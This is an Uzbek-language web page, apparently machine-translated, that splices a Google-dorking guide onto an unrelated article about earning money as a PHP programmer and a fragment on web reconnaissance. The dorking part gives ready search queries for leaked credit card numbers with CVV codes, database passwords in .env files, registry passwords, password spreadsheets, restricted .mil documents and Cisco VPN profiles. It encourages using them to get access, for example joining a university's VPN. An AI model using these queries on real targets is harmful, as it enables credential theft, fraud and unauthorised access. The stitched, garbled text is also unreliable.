Inurl php http qanday daromad. PHP tilini bilish orqali qanday qilib pul ishlash mumkin? Qanday qilib PHP dasturchisi uyda yaxshi pul ishlashi mumkin?

Shaxsiy ma'lumotlarni olish har doim ham buzg'unchilikni anglatmaydi - ba'zida u ommaviy ravishda nashr etiladi. Google sozlamalarini bilish va ozgina zukkolik sizga juda ko'p qiziqarli narsalarni topishga imkon beradi - kredit karta raqamlaridan tortib FBI hujjatlarigacha.

OGOHLANTIRISH

Barcha ma'lumotlar faqat ma'lumot olish uchun taqdim etiladi. Na muharrirlar, na muallif ushbu maqola materiallaridan kelib chiqishi mumkin bo'lgan har qanday zarar uchun javobgar emas.

Bugungi kunda hamma narsa Internetga ulangan, kirishni cheklash uchun juda oz tashvish. Shu sababli, ko'plab shaxsiy ma'lumotlar qidiruv tizimlarining o'ljasiga aylanadi. O'rgimchak robotlari endi veb-sahifalar bilan cheklanib qolmaydi, balki Internetda mavjud bo'lgan barcha tarkibni indekslaydi va doimiy ravishda o'z ma'lumotlar bazalariga ommaviy bo'lmagan ma'lumotlarni qo'shadi. Bu sirlarni topish oson – ular haqida so‘rashni bilish kifoya.

Fayllar qidirilmoqda

Qobiliyatli qo'llarda Google Internetda topilmaydigan hamma narsani tezda topadi, masalan, shaxsiy ma'lumotlar va rasmiy foydalanish uchun fayllar. Ular ko'pincha gilam ostidagi kalit kabi yashiringan: haqiqiy kirish cheklovlari yo'q, ma'lumotlar shunchaki saytning orqa tomonida yotadi, bu erda hech qanday havolalar olib kelmaydi. Standart Google veb-interfeysi faqat asosiy kengaytirilgan qidiruv sozlamalarini taqdim etadi, ammo bular ham etarli bo'ladi.

Siz Google qidiruvingizni ikkita operatordan foydalangan holda ma'lum bir fayl turiga cheklashingiz mumkin: filetype va ext . Birinchisi qidiruv tizimi fayl nomidan aniqlagan formatni, ikkinchisi ichki mazmunidan qat'iy nazar fayl kengaytmasini belgilaydi. Ikkala holatda ham qidirishda siz faqat kengaytmani ko'rsatishingiz kerak. Dastlab, ext operatori faylning o'ziga xos format xususiyatlariga ega bo'lmagan hollarda foydalanish uchun qulay edi (masalan, har qanday narsani o'z ichiga olishi mumkin bo'lgan ini va cfg konfiguratsiya fayllarini qidirish uchun). Endi Google algoritmlari o'zgardi va operatorlar o'rtasida ko'rinadigan farq yo'q - aksariyat hollarda natijalar bir xil.


Natijalarni filtrlash

Odatiy bo'lib, Google indekslangan sahifalardagi barcha fayllardagi so'zlarni va umuman kiritilgan belgilarni qidiradi. Qidiruv maydonini yuqori darajadagi domen, ma'lum bir sayt yoki fayllardagi qidiruv ketma-ketligining joylashuvi bilan cheklashingiz mumkin. Birinchi ikkita variant uchun sayt operatoridan foydalaning, so'ngra domen yoki tanlangan sayt nomi. Uchinchi holatda, operatorlarning butun to'plami sizga xizmat ko'rsatish sohalarida va metama'lumotlarda ma'lumotlarni qidirishga imkon beradi. Masalan, allinurl berilganni havolalarning o'zida, allinanchor - teg bilan jihozlangan matnda topadi. , allintitle - sahifa sarlavhalarida, allintext - sahifalar tanasida.

Har bir operator uchun qisqaroq nomga ega (barchasi prefiksisiz) engil versiya mavjud. Farqi shundaki, allinurl barcha so'zlar bilan havolalarni topadi va inurl faqat ularning birinchisi bilan bog'lanadi. So'rovdagi ikkinchi va keyingi so'zlar veb-sahifalarning istalgan joyida paydo bo'lishi mumkin. Inurl operatori ham shunga o'xshash ma'noga ega bo'lgan boshqa operatordan farq qiladi - sayt. Birinchisi, shuningdek, ma'lum zaifliklari bo'lgan komponentlarni topish uchun keng qo'llaniladigan qidirilayotgan hujjatga (masalan, /cgi-bin/) havoladagi belgilarning istalgan ketma-ketligini topishga imkon beradi.

Keling, buni amalda sinab ko'raylik. Biz allintext filtrini olamiz va so'rovda kredit kartalarining raqamlari va tasdiqlash kodlari ro'yxatini ishlab chiqaramiz, ular faqat ikki yildan keyin tugaydi (yoki ularning egalari hammani ovqatlantirishdan charchaganda).

Allintext: karta raqamining amal qilish muddati /2017 cvv

Yangiliklarda yosh xaker Pentagon yoki NASA serverlariga "buzilgan", maxfiy ma'lumotlarni o'g'irlagani haqida o'qiganingizda, ko'p hollarda biz Google-dan foydalanishning asosiy texnikasi haqida gapiramiz. Aytaylik, bizni NASA xodimlarining ro'yxati va ularning aloqa ma'lumotlari qiziqtiradi. Albatta, bunday ro'yxat elektron shaklda mavjud. Qulaylik yoki nazorat tufayli u tashkilotning veb-saytida ham bo'lishi mumkin. Bu holda unga havolalar bo'lmasligi mantiqan to'g'ri, chunki u ichki foydalanish uchun mo'ljallangan. Bunday faylda qanday so'zlar bo'lishi mumkin? Hech bo'lmaganda - "manzil" maydoni. Ushbu taxminlarning barchasini sinab ko'rish juda oson.


Inurl:nasa.gov fayl turi:xlsx "manzil"


Biz byurokratiyadan foydalanamiz

Bunday topilmalar yoqimli teginishdir. Webmasterlar uchun Google operatorlari, Tarmoqning o'zi va izlanayotgan narsaning tuzilishining o'ziga xos xususiyatlari haqida batafsil ma'lumotga ega bo'lish haqiqatan ham mustahkam ushlash imkonini beradi. Tafsilotlarni bilib, siz natijalarni osongina filtrlashingiz va qolganlarida haqiqatan ham qimmatli ma'lumotlarni olish uchun kerakli fayllarning xususiyatlarini yaxshilashingiz mumkin. Bu yerda byurokratiya yordamga kelgani qiziq. U tasodifan Internetga chiqib ketgan maxfiy ma'lumotlarni qidirish uchun qulay bo'lgan standart formulalarni ishlab chiqaradi.

Masalan, AQSh Mudofaa vazirligi tomonidan talab qilinadigan tarqatish bayonoti muhri hujjatni tarqatishda standartlashtirilgan cheklovlarni bildiradi. A harfi hech qanday sir bo'lmagan ommaviy nashrlarni bildiradi; B - faqat ichki foydalanish uchun mo'ljallangan, C - qat'iy maxfiy va F gacha davom etadi. X harfi alohida ajralib turadi, bu eng yuqori darajadagi davlat sirini ifodalovchi ayniqsa qimmatli ma'lumotlarni belgilaydi. Navbatchi buni qilishi kerak bo'lganlar bunday hujjatlarni qidirsin va biz faqat C harfi bilan fayllar bilan cheklanamiz. DoDI 5230.24 direktivasiga ko'ra, bu belgi eksport nazorati ostida bo'lgan muhim texnologiyalar tavsifini o'z ichiga olgan hujjatlarga beriladi. . Bunday ehtiyotkorlik bilan himoyalangan ma'lumotlarni AQSh armiyasi uchun ajratilgan yuqori darajadagi domain.mil saytlarida topishingiz mumkin.

"TAQLANISH BAJORATI C" inurl:navy.mil

.mil domenida faqat AQSh Mudofaa vazirligi va uning shartnoma tashkilotlari saytlari bo'lishi juda qulay. Domen cheklovi bilan qidiruv natijalari juda toza va sarlavhalar o'zlari uchun gapiradi. Rossiya sirlarini shu tarzda izlash deyarli foydasiz: domains.ru va.rf saytlarida tartibsizlik hukm surmoqda va ko'plab qurol tizimlarining nomlari botanikaga o'xshaydi (PP "Kiparis", o'ziyurar qurollar "Akatsiya") yoki hatto ajoyib ( TOS "Buratino").


.mil domenidagi saytdagi har qanday hujjatni sinchkovlik bilan o'rganib chiqib, qidiruvingizni aniqlashtirish uchun boshqa belgilarni ko'rishingiz mumkin. Masalan, qiziqarli texnik ma'lumotlarni qidirish uchun qulay bo'lgan "Sec 2751" eksport cheklovlariga havola. Vaqti-vaqti bilan u bir marta paydo bo'lgan rasmiy saytlardan o'chiriladi, shuning uchun qidiruv natijalarida qiziqarli havolaga rioya qila olmasangiz, Google keshini (kesh operatori) yoki Internet arxivi saytidan foydalaning.

Bulutlarga chiqish

Tasodifan oshkor qilingan davlat hujjatlariga qo'shimcha ravishda, Dropbox va boshqa ma'lumotlarni saqlash xizmatlaridan shaxsiy fayllarga havolalar ham Google keshida vaqti-vaqti bilan ochilib turadi. Muqobil va uy qurilishi xizmatlari bilan yanada yomonroq. Misol uchun, quyidagi so'rov FTP serveri o'rnatilgan va o'z yo'riqnomasidan faol foydalanayotgan barcha Verizon mijozlari uchun ma'lumotlarni topadi.

Allinurl: ftp:// verizon.net

Hozirda qirq mingdan ortiq bunday aqlli odamlar bor va 2015 yilning bahorida ularning soni yana ko'p edi. Verizon.net o'rniga siz har qanday taniqli provayder nomini almashtirishingiz mumkin va u qanchalik mashhur bo'lsa, ushlash shunchalik katta bo'lishi mumkin. O'rnatilgan FTP serveri orqali siz routerga ulangan tashqi xotira qurilmasidagi fayllarni ko'rishingiz mumkin. Odatda bu masofaviy ishlash, shaxsiy bulut yoki bir xil turdagi fayllarni tengdoshga yuklab olish uchun NAS. Bunday ommaviy axborot vositalarining barcha mazmuni Google va boshqa qidiruv tizimlari tomonidan indekslanadi, shuning uchun siz tashqi drayvlarda saqlangan fayllarga to'g'ridan-to'g'ri havola orqali kirishingiz mumkin.

Konfiguratsiyalarga qarash

Bulutga keng tarqalgan migratsiyadan oldin, oddiy FTP serverlari masofaviy saqlash sifatida hukmronlik qilgan, ular ham juda ko'p zaifliklarga ega edi. Ularning aksariyati bugungi kunda ham dolzarbdir. Masalan, mashhur WS_FTP Professional dasturi konfiguratsiya ma'lumotlarini, foydalanuvchi hisoblari va parollarni ws_ftp.ini faylida saqlaydi. Uni topish va o'qish oson, chunki barcha yozuvlar matn formatida saqlanadi va parollar minimal chalkashlikdan so'ng Triple DES algoritmi bilan shifrlangan. Ko'pgina versiyalarda birinchi baytni bekor qilish kifoya.

WS_FTP Password Decryptor yordam dasturi yoki bepul veb-xizmati yordamida bunday parollarni parolini ochish oson.

O'zboshimchalik bilan veb-saytni buzish haqida gap ketganda, ular odatda CMS yoki elektron tijorat ilovalari konfiguratsiya fayllarining jurnallari va zaxira nusxalaridan parol olishni anglatadi. Agar siz ularning tipik tuzilishini bilsangiz, kalit so'zlarni osongina ko'rsatishingiz mumkin. Ws_ftp.ini da joylashgan qatorlar juda keng tarqalgan. Masalan, Drupal va PrestaShop-da har doim foydalanuvchi identifikatori (UID) va tegishli parol (pwd) mavjud va barcha ma'lumotlar .inc kengaytmali fayllarda saqlanadi. Siz ularni quyidagicha qidirishingiz mumkin:

"pwd=" "UID=" ext:inc

DBMS parollarini ochish

SQL serverlarining konfiguratsiya fayllarida foydalanuvchi nomlari va elektron pochta manzillari aniq matnda saqlanadi va parollar o'rniga ularning MD5 xeshlari yoziladi. To'g'risini aytganda, ularni shifrlashning iloji yo'q, lekin ma'lum bo'lgan xesh-parol juftliklari orasida moslikni topishingiz mumkin.

Hali ham parol xeshlashdan foydalanmaydigan DBMSlar mavjud. Ulardan har qandayining konfiguratsiya fayllari oddiygina brauzerda ko'rish mumkin.

Intext:DB_PASSWORD fayl turi:env

Windows serverlarining paydo bo'lishi bilan konfiguratsiya fayllari o'rnini qisman ro'yxatga olish kitobi egalladi. Siz uning filiallari bo'ylab xuddi shu tarzda, fayl turi sifatida reg dan foydalanib qidirishingiz mumkin. Masalan, bu kabi:

Fayl turi:reg HKEY_CURRENT_USER "Parol"=

Keling, aniq narsani unutmaylik

Ba'zan tasodifan ochilgan va Google e'tiboriga tushgan ma'lumotlardan foydalanib, maxfiy ma'lumotlarga kirish mumkin. Ideal variant - ba'zi umumiy formatdagi parollar ro'yxatini topish. Faqat umidsiz odamlar hisob ma'lumotlarini matnli faylda, Word hujjatida yoki Excel elektron jadvalida saqlashi mumkin, ammo ular har doim etarli.

Fayl turi: xls inurl: parol

Bir tomondan, bunday hodisalarning oldini olish uchun juda ko'p vositalar mavjud. Htaccess-da tegishli kirish huquqlarini belgilash, CMS-ni tuzatish, chap qo'l skriptlarini ishlatmaslik va boshqa teshiklarni yopish kerak. Shuningdek, qidiruv tizimlariga unda ko'rsatilgan fayllar va kataloglarni indekslashni taqiqlovchi robots.txt istisnolari ro'yxatiga ega fayl mavjud. Boshqa tomondan, agar ba'zi serverdagi robots.txt tuzilishi standartdan farq qilsa, unda ular nimani yashirishga harakat qilayotgani darhol aniq bo'ladi.

Har qanday saytdagi kataloglar va fayllar ro'yxatidan oldin standart indeks mavjud. Xizmat maqsadlari uchun u sarlavhada ko'rsatilishi kerakligi sababli, uni qidirishni intitle operatoriga cheklash mantiqan. Qiziqarli narsalar /admin/, /personal/, /etc/ va hatto /secret/ kataloglarida.

Yangilanishlarni kuzatib boring

Bu erda dolzarblik juda muhim: eski zaifliklar juda sekin yopiladi, lekin Google va uning qidiruv natijalari doimo o'zgarib turadi. Hatto “oxirgi soniya” filtri (&tbs=qdr:s so‘rov URL manzili oxirida) va “real vaqt” filtri (&tbs=qdr:1) o‘rtasida ham farq bor.

Faylni oxirgi yangilash sanasining vaqt oralig'i ham Google tomonidan bevosita ko'rsatilgan. Grafik veb-interfeys orqali siz standart davrlardan birini (soat, kun, hafta va hokazo) tanlashingiz yoki sana oralig'ini belgilashingiz mumkin, ammo bu usul avtomatlashtirish uchun mos emas.

Manzil satrining ko'rinishidan siz faqat &tbs=qdr: konstruktsiyasi yordamida natijalarning chiqishini cheklash yo'li haqida taxmin qilishingiz mumkin. Undan keyingi y harfi bir yil chegarasini belgilaydi (&tbs=qdr:y), m oxirgi oy natijalarini, w - hafta uchun, d - o'tgan kun uchun, h - oxirgi soat uchun, n - daqiqa uchun, va s - menga bir soniya bering. Google hozirgina ma'lum qilgan eng so'nggi natijalar &tbs=qdr:1 filtri yordamida topiladi.

Agar siz aqlli skript yozishingiz kerak bo'lsa, sana oralig'i Google-da Julian formatida daterange operatori yordamida o'rnatilganligini bilish foydali bo'ladi. Masalan, 2015-yil 1-yanvardan 1-iyulgacha yuklab olingan maxfiy soʻzli PDF hujjatlari roʻyxatini shu tarzda topishingiz mumkin.

Maxfiy fayl turi: pdf sana diapazoni: 2457024-2457205

Diapazon Julian sanasi formatida kasr qismini hisobga olmagan holda ko'rsatilgan. Ularni Grigorian taqvimidan qo'lda tarjima qilish noqulay. Sana o'zgartirgichdan foydalanish osonroq.

Maqsadli va yana filtrlash

Qidiruv so'rovida qo'shimcha operatorlarni ko'rsatishdan tashqari, ular to'g'ridan-to'g'ri havolaning tanasiga yuborilishi mumkin. Masalan, filetype:pdf spetsifikatsiyasi as_filetype=pdf konstruktsiyasiga mos keladi. Bu har qanday tushuntirishlarni so'rashni qulay qiladi. Aytaylik, faqat Gonduras Respublikasidan olingan natijalar qidiruv URL manziliga cr=countryHN konstruktsiyasini qo'shish orqali va faqat Bobruisk shahridan - gcs=Bobruiskdan ko'rsatilgan. To'liq ro'yxatni ishlab chiquvchilar bo'limida topishingiz mumkin.

Googlening avtomatlashtirish vositalari hayotni osonlashtirish uchun yaratilgan, ammo ular ko'pincha muammolarni keltirib chiqaradi. Masalan, foydalanuvchining shahri WHOIS orqali foydalanuvchining IP-si bilan belgilanadi. Ushbu ma'lumotlarga asoslanib, Google nafaqat serverlar orasidagi yukni muvozanatlashtiradi, balki qidiruv natijalarini ham o'zgartiradi. Mintaqaga qarab, bir xil so'rov uchun birinchi sahifada turli xil natijalar paydo bo'ladi va ularning ba'zilari butunlay yashirin bo'lishi mumkin. gl=country direktivasidan keyingi ikki harfli kod oʻzingizni kosmopolitdek his qilishingizga va istalgan mamlakatdan maʼlumot izlashga yordam beradi. Misol uchun, Gollandiyaning kodi NL, ammo Vatikan va Shimoliy Koreyaning Googleda o'z kodi yo'q.

Ko'pincha, qidiruv natijalari bir nechta ilg'or filtrlardan foydalangandan keyin ham tartibsiz bo'lib qoladi. Bunday holda, so'rovni unga bir nechta istisno so'zlarni qo'shish orqali aniqlashtirish oson (ularning har birining oldida minus belgisi qo'yiladi). Masalan, bank ishi, nomlar va o'quv qo'llanma ko'pincha Shaxsiy so'z bilan ishlatiladi. Shuning uchun, aniqroq qidiruv natijalari so'rovning darslik misolida emas, balki aniqlangan holda ko'rsatiladi:

Intitle:"Index of /Personal/" -nomlar -o'quv qo'llanma -banking

Oxirgi bir misol

Murakkab xaker o'zini o'zi kerak bo'lgan hamma narsa bilan ta'minlashi bilan ajralib turadi. Masalan, VPN qulay narsa, lekin qimmat yoki vaqtinchalik va cheklovlar bilan. O'zingiz uchun obuna bo'lish juda qimmat. Guruh obunalarining mavjudligi yaxshi va Google yordamida guruhning bir qismi bo'lish oson. Buni amalga oshirish uchun juda nostandart PCF kengaytmasi va taniqli yo'lga ega bo'lgan Cisco VPN konfiguratsiya faylini toping: Program Files\Cisco Systems\VPN Client\Profiles. Bitta iltimos va siz, masalan, Bonn universitetining do'stona jamoasiga qo'shilasiz.

Fayl turi: pcf vpn OR guruhi

MA'LUMOT

Google parol konfiguratsiya fayllarini topadi, lekin ularning ko'plari shifrlangan yoki xeshlar bilan almashtirilgan. Agar siz belgilangan uzunlikdagi satrlarni ko'rsangiz, darhol shifrni ochish xizmatini qidiring.

Parollar shifrlangan holda saqlanadi, ammo Moris Massard allaqachon ularni shifrlash uchun dastur yozgan va uni thecampusgeeks.com orqali bepul taqdim etadi.

Google yuzlab turli xil hujumlar va kirish testlarini o'tkazadi. Mashhur dasturlarga, asosiy ma'lumotlar bazasi formatlariga, PHP ning ko'plab zaifliklariga, bulutlarga va hokazolarga ta'sir qiluvchi ko'plab variantlar mavjud. Nimani qidirayotganingizni aniq bilish sizga kerakli ma'lumotni (ayniqsa, siz ommaga e'lon qilmoqchi bo'lmagan ma'lumotlarni) topishni ancha osonlashtiradi. Shodan qiziqarli g'oyalar bilan oziqlanadigan yagona emas, balki indekslangan tarmoq resurslarining har bir ma'lumotlar bazasi!

Muallifdan: salom do'stlar! Ushbu maqolada biz PHP dasturlash tili haqida gapiramiz. Keling, u nima uchun ishlatilishini, u bilan nima qilish mumkinligini va veb-saytni ishlab chiqish bosqichlarida qanday o'rin egallashini bilib olaylik. Shuningdek, ushbu maqolada biz PHP-da dasturlashni bilgan holda pul ishlashning ko'plab usullarini ko'rib chiqamiz.

PHP nima va u nima uchun?

PHP - bu veb-ilovalarni ishlab chiqishda juda faol foydalaniladigan skript tili. PHP dinamik veb-saytlarni ishlab chiqishda qo'llaniladigan etakchi tillardan biridir.

PHP - bu server tomonidagi dasturlash tili. Ushbu tilda yozilgan barcha skriptlar sayt bilan serverda bajariladi. PHP-ni o'rganish, veb-saytlar va skriptlarni ishlab chiqish va disk raskadrovka qilish uchun, albatta, Internetda haqiqiy server sotib olishingiz shart emas. Ushbu maqsadlar uchun server emulyatorlari qo'llaniladi, ular dasturlar ko'rinishida oddiygina ishlaydigan kompyuterga o'rnatiladi. Internetdagi (xosting) serverida esa PHP skriptlari bilan tayyor veb-saytlar va sahifalar joylashtiriladi. Aytgancha, deyarli barcha zamonaviy xostinglar PHP tilini qo'llab-quvvatlaydi.

Ushbu tilning veb-saytlarni yaratish sohasidagi mashhurligi veb-ilovalarni ishlab chiqish uchun o'rnatilgan vositalarning katta to'plamining mavjudligi bilan belgilanadi. Asosiylari:

POST va GET parametrlarini, shuningdek, veb-server muhiti o'zgaruvchilarini oldindan belgilangan massivlarga avtomatik ravishda chiqarish;

ko'p sonli turli xil ma'lumotlar bazasini boshqarish tizimlari (MySQL, MySQLi, SQLite, PostgreSQL, Oracle (OCI8), Oracle, Microsoft SQL Server, Sybase, ODBC, mSQL, IBM DB2, Cloudscape va Apache Derby, Informix, Ovrimos SQL, Lotus) bilan ishlash Eslatmalar , DB++, DBM, dBase, DBX, FrontBase, FilePro, Ingres II, SESAM, Firebird / InterBase, Paradox File Access, MaxDB, PDO interfeysi);

HTTP sarlavhalarini avtomatik yuborish;

kukilar va seanslar bilan ishlash;

mahalliy va masofaviy fayllar, rozetkalar bilan ishlash;

serverga yuklangan fayllarni qayta ishlash;

XForms bilan ishlash.

PHP skripti sahifada ishlaydigan misolni ko'rib chiqaylik. Misol uchun, ko'plab saytlarda ismingizni va elektron pochtangizni kiritadigan obuna shaklini olaylik. Formaning ko'rinishi uchun HTML va CSS mas'uldir - kiritish maydonlari va tugmalari ranglari, kursorni olib borish va ustiga bosish paytida tugma rangini o'zgartirish va hokazo. HTML5-dan foydalanib, siz shaklga kiritilgan ma'lumotlarning to'g'riligini tekshirishingiz mumkin - masalan, elektron pochta yoki telefon maydonlari to'g'ri to'ldirilganmi.

Va "Obuna bo'lish" tugmasini bosganingizdan so'ng, formaga kiritilgan ma'lumotlarni qabul qiladigan PHP skripti chaqiriladi. Skript ularni ma'lumotlar bazasida qayd etadi, shaklda ko'rsatilgan elektron pochtaga obunani tasdiqlash uchun havolani yaratadi va sizga yuboradi, obuna tasdiqlanishini tekshiradi va sizga keyingi elektron pochta xabarlarini yuboradi. Bu amallarning barchasi serverda bajariladi va bu PHP dasturlash tili yordamida amalga oshiriladi.

PHP ning veb-saytlarni ishlab chiqishda qo'llanilishi

Veb-sayt yaratish uchun siz bir necha bosqichlardan o'tishingiz kerak:

Rejalashtirish. Ushbu bosqichda biz kelajakdagi saytni rejalashtirmoqdamiz: uni kim uchun va nima uchun qilamiz, saytga kim tashrif buyuradi, uni nima bilan to'ldirish kerak, saytda nima bo'lishi kerak va hokazo.

Dizayn. Dizayn bosqichida biz grafik muharrirda sayt sahifalarining ko'rinishini yaratamiz.

Tartib. Dizayn bosqichida, HTML va CSS-dan foydalanib, biz dizayn bosqichida olingan maketlardan kelajakdagi saytning HTML sahifalarini yaratamiz.

Dasturlash. Dasturlash bosqichida biz sayt bilan ishlash jarayonlarini avtomatlashtiramiz. Biz saytning ma'muriy qismini (administrator paneli) dasturlashtiramiz, shunda siz hatto veb-sayt yaratishdan mutlaqo notanish odam uchun mavjud sahifalarni qo'shishingiz, o'chirishingiz, tahrirlashingiz mumkin. Biz saytdagi qidiruv va barcha obuna shakllari (agar mavjud bo'lsa) ishlashi uchun dasturlashtiramiz. Saytda yangi qo'shilgan sahifa ko'rsatilishiga ishonch hosil qilamiz va yaratilgan sahifaga havola avtomatik ravishda menyuda paydo bo'ladi. Agar sayt ovoz berish yoki so'rovnomadan foydalansa, bularning barchasi dasturlash bosqichida PHP da dasturlashtirilgan.

Agar biz kattaroq saytni, masalan, onlayn-do'konni dasturlash bosqichini ko'rib chiqsak, bu erda hamma narsa yanada kengroq va qiziqarli. Bunday holda, biz nafaqat sahifalarni, balki mahsulotlarni ham qo'shamiz - onlayn-do'konning asosiy mazmuni. Bundan tashqari, administrator panelida siz qo'shilgan mahsulotlarni turli toifalarga ajratishingiz kerak. Shuningdek, mahsulotni tahrirlash, tavsifini, narxini, rasmini va hokazolarni o'zgartirish imkoniyati bo'lishi kerak.

Bundan tashqari, onlayn-do'kon tahliliy tizimni dasturlashni talab qiladi - administrator panelida qancha buyurtma berilgani va to'langani, qancha miqdorda va qaysi mahsulotlar uchun qaysi toifalardan to'langanligi va hokazolarni ko'rishingiz mumkin. Bundan tashqari, u shunday bo'lishi kerak. turli davrlar uchun bunday hisobotlarni ko'rsatish mumkin. Onlayn do'konni dasturlashda ko'pincha buxgalteriya hisobi va soliq maqsadlari uchun savdo hisobotlari ham amalga oshiriladi.

Shuning uchun ham PHP dasturlash tilidan foydalaniladigan bosqich veb-saytlarni ishlab chiqishda eng muhim, vaqt jihatidan eng uzun va eng qimmat va yuqori haq to'lanadigan bosqich hisoblanadi. Va onlayn-do'konni qanday dasturlashni tushunganingizdan so'ng, siz deyarli har qanday murakkablikdagi veb-sayt uchun skriptlarni yaratishingiz mumkin bo'ladi.

PHP ning mashhurligi

PHP ning mashhurligi shundan dalolat beradiki, undan server tomonidagi dasturlash tilini aniqlash mumkin bo'lgan barcha saytlarning 83,1 foizi foydalanadi.

Mashhurlik reytingida birinchi o'rinlarni egallagan barcha eng mashhur CMSlar (ham pullik, ham bepul: WordPress, Joomla, Drupal, Modx, Bitrix. Magento va boshqalar) PHP dasturlash tilida yozilgan.

Shuningdek, PHP dasturlash tilining mashhurligini Laravel, Yii, CakePHP, Slim, Zend Framework 2, PHPixie, CodeIgniter, Symfony 2 va boshqalar kabi yaratilgan ko‘plab PHP ramkalari tasdiqlaydi. Ko'p sonli forumlar va katta jamoalar mavjud - umuman PHP uchun, har bir ramka uchun va har bir CMS uchun alohida.
Yana shuni qo'shimcha qilamanki, dunyodagi eng yirik saytlar, masalan, Facebook, Vikipediya ham PHPda yozilgan.

PHP tilini bilgan holda qanday qilib pul ishlash mumkin?

PHP ning mashhurligini hisobga olsak, PHP dasturchilariga doimiy talab yuqori. PHP tilini bilish va shu tilda dasturlash qobiliyati pul ishlash uchun yangi imkoniyatlarni ochadi. Keling, bugungi kunda haqiqatan ham pul ishlashingiz mumkin bo'lgan asosiy narsalarni ko'rib chiqaylik:

Skriptlarni ishlab chiqish orqali pul ishlash. Barcha saytlar doimiy ravishda rivojlanib boradi va ular vaqti-vaqti bilan yangi skriptlarni yozishni yoki qo'shimcha funksiyalarni, modullarni va hokazolarni ishlab chiqishni talab qiladi. Bunday ishlanmalar uchun sayt egalari PHP dasturchilariga murojaat qilishadi. Bundan tashqari, bu holda siz ikki yo'l bilan pul topishingiz mumkin:

mustaqil ishlab chiquvchini topish uchun buyurtmalarni kuzatish;

ommaviy skriptlar uchun g'oyalar yaratish. Masalan, onlayn-do'kon egalari orasida talab qilinadigan skript g'oyasiga ega bo'lsangiz, siz mustaqil ravishda bunday skriptni ishlab chiqishingiz va uni onlayn-do'kon egalariga sotishingiz mumkin;

"Buyurtma berish uchun" tayyor skriptlarni yakunlash. Bu erda hamma narsa oddiy - siz skriptni o'zgartirish yoki tuzatishni o'z zimmangizga olasiz. Ammo bu holatda bir nuance bor - dastlab skript juda yaxshi tuzilmasligi mumkin va uni takomillashtirish skriptni noldan yozishdan ko'ra ko'proq vaqt talab qilishi mumkin. Shuning uchun, agar siz pul ishlashning ushbu usulidan foydalansangiz, dastlab nimani o'zgartirishingiz va to'ldirishingizga diqqat bilan qarang.

CMS uchun plaginlarni ishlab chiqish. Ushbu usulda hamma narsa skriptlardan pul ishlash bilan bir xil. Ko'pincha, tayyor CMS-da yaratilgan veb-saytlar qandaydir plagin, plagin yoki kengaytmani yozishni talab qiladi. Va bu erda ikki yo'l bilan pul ishlashingiz mumkin:

freelance asosda plaginlar, qo'shimchalar va kengaytmalarni ishlab chiqish buyurtmalarini kuzatish;

ko'pgina saytlarda talab qilinadigan ommaviy plaginni ishlab chiqish va sotish;

Shaxsiy va qo'shma loyihalar. Agar sizda Internet-loyiha (startup) g'oyasi bo'lsa, masalan, muayyan muammoni hal qiladigan foydali xizmat yoki ilova g'oyasi bo'lsa, uni amalga oshirishni boshlashingiz mumkin. Dastlabki bosqichda bu sizning asosiy ishingizdan tashqari, sevimli mashg'ulot sifatida ham bo'lishi mumkin. Keyin, sevimli mashg'ulot katta loyihaga aylanib borayotgani aniq bo'lganda, unga ko'proq vaqt ajratish mumkin bo'ladi.

Dinamik veb-saytlar va ular uchun dvigatellarni yaratish. Bundan tashqari, maxsus veb-saytlarni ishlab chiqish, frilanser yoki veb-studiyada ishlash orqali yaxshi pul ishlashingiz mumkin.

O'zingiz uchun veb-saytlar yaratish. Siz o'zingiz uchun veb-sayt yaratishingiz, uni foydali kontent bilan to'ldirishingiz mumkin - va saytga etarli miqdordagi tashrif buyuruvchilar bo'lsa, unda pullik reklama joylashtirish yoki sheriklik dasturlari orqali kimningdir mahsulotlarini reklama qilish orqali pul ishlashni boshlang.

O'ylaymanki, ko'plaringiz yuqoridagi barcha pul ishlash usullarini birlashtirish mumkin deb o'ylagansiz. Va bu to'g'ri! Siz o'zingiz uchun veb-sayt yaratishingiz va undan reklama sotish orqali passiv pul ishlashingiz, shuningdek, skript yoki plagin yaratishingiz va uni ixtisoslashtirilgan saytlarda sotishingiz, har bir sotuvdan avtopilotda pul ishlashingiz va shu bilan birga vebda ishlashingiz mumkin. studiya. Nimaga yo'q? Albatta qila olasiz!

PHP dasturchisi qancha pul topishi mumkin?

PHP dasturchilarining daromadlari bilan hamma narsa individualdir. Bu erda ko'p narsa qaerda ishlashga, qanday ishlashga, qanday bilim darajasiga, qanday tajribaga, malakaga, ishlab chiquvchining tegishli qo'shimcha bilimlariga va hokazolarga bog'liq. Shuning uchun, printsipial jihatdan, bu erda aniq raqam bo'lishi mumkin emas. Ammo biz veb-studiyada PHP dasturchilarini qidirishda qanday maosh taklif qilinishini va ular frilanser birjalarida loyiha uchun qancha pul to'lashga tayyorligini ko'rishimiz mumkin.

Quyidagi rasmda veb-studiyada PHP dasturchilari uchun taklif qilingan ish haqi ko'rsatilgan. Bundan tashqari, bu ish tajribasiga ega bo'lmagan PHP dasturchilari uchun ish haqi:

Agar sizda ish tajribangiz bo'lsa, ko'proq pul topishingiz mumkin. Quyida tajribali PHP dasturchilariga taqdim etiladigan maoshlar keltirilgan.

Va bugungi kunda siz freelancing orqali munosib pul topishingiz mumkin:

Xulosa

PHP veb-ishlab chiquvchilar orasida eng mashhur dasturlash tilidir. Internetdagi barcha veb-saytlarning katta qismi PHP da yozilgan. Ushbu dasturlash tilida rivojlanish bo'yicha bilim va qobiliyatga ega bo'lsangiz, yaxshi pul ishlashingiz mumkin va pul ishlashning ko'plab variantlari mavjud - veb-studiyada ishlashdan o'z loyihangizni yoki startapingizni ishlab chiqishgacha.

Veb-resurslarda zaifliklarni qidirish har qanday qidiruv va ma'lumot to'plashdan boshlanadi.
Razvedka faol bo'lishi mumkin - fayllar va sayt kataloglarining qo'pol kuchi, zaiflik skanerlarini ishga tushirish, saytni qo'lda ko'rib chiqish yoki passiv - turli qidiruv tizimlarida ma'lumot qidirish. Ba'zida shunday bo'ladiki, zaiflik saytning birinchi sahifasini ochishdan oldin ham ma'lum bo'ladi.

Bu qanday mumkin?
Internetda doimiy roumingda bo'lgan qidiruv robotlari oddiy foydalanuvchi uchun foydali ma'lumotlardan tashqari, ko'pincha tajovuzkorlar tomonidan veb-resursga hujum qilish uchun ishlatilishi mumkin bo'lgan narsalarni yozib oladi. Masalan, skript xatolari va nozik ma'lumotlarga ega fayllar (konfiguratsiya fayllari va jurnallardan autentifikatsiya ma'lumotlari va ma'lumotlar bazasi zahiralari bilan fayllargacha).
